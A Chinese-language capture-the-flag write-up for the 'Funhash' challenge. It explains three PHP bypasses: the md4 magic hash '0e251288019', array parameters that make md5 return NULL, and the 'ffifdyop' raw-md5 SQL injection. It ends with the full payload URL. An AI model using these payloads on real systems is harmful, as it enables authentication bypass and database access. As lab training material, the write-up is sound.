Funhash
打開環境
簡單的分析一下 三個level 一個一個過吧
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
判斷條件 hash1的原始值要等於 hash1的md4加密值 就是加密前和加密后 相同就能過了
這個和 MD5($_GET['name']) == MD5($_GET['password']) 這種市相同類型的
PHP在處理哈希字符串時,它把每一個以“0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以“0E”開頭的,那么PHP將會認為他們相同,都是0。
撞一個md4 給出字符串
0e251288019
給出 payload : ?hash1=0e251288019
第一關繞過,下面繞過第二關
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
判斷條件 hash2不能和hash3全等( === 全等) hash2的md5要和hash3的md5相同 ( !== 不全全等)
這里用的 === 那么就不能 使用 上面的方法
我們使用php中md5的特性來繞過
md5([1,2]) == md5([3,4]) == NULL
我們使用數組
傳入 hash2[]=1&hash3=[]=2
payload= ?hash1=0e251288019&hash2[]=1&hash3[]=2
成功繞過 第二關 ,下面開始第三關
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
是一個 sql注入里面的 md5
平常繞過一個password
SELECT * FROM flag WHERE password = ' ' or 1=1'
那么 ’ or 后面要接上一個 為 true 的表達式
SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'
那么目的就明確了 md5($_GET["hash4"],true) 這里要為 true
參考 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
https://www.pianshen.com/article/789754585/
我這里直接給出
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621
craw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
payload : ?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
得到flag
flag打碼
成功解決、
給出參考
https://www.pianshen.com/article/789754585/